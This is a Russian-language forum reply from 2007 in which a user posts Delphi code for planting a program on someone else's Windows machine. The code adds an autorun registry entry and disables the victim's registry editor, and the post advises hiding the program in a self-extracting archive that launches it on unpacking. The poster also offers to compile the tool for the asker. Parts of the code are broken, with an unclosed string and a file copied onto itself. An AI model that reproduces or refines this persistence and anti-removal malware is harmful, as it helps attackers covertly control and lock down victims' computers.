Показать сообщение отдельно

  #10  
Старый 18.04.2007, 15:41
Ci5
Постоянный
Регистрация: 10.10.2006
Сообщений: 316
Провел на форуме:
1572471

Репутация: 152
По умолчанию

Можно написать что-то типа того.
Код:
program project2;
uses
  Windows,
  registry;

var
  h: TRegistry;
begin
  h := TRegistry.Create;
  with h do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
    WriteString('имя программы, 'C:\windows\system32\ProgramName.exe');
    CloseKey;
    Free;
   end;
   CopyFile(PChar('ProgramName.exe'),PChar('ProgramName.exe'),true);
end.
Потом просто создать SFX архив, указать чтобы при распаковке архива запустиласть эта программка.
Можно еще доступ к реестру ему отключить, вставив это кусочек
Код:
H := TRegistry.Create;
   with H do
   begin
    RootKey := HKEY_CURRENT_USER;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', true);
    WriteInteger('DisableRegistryTools', 1);
    CloseKey;
    Free;
  end;
Если у тя нет Delphi, могу откомпилить и те отослать.

Последний раз редактировалось Ci5; 18.04.2007 в 15:45..
 
Ответить с цитированием